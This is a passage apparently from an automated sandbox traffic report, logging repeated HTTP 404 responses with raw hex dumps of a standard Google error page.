6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:33 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:41 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:43 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:45 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:51 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:53 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:55 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 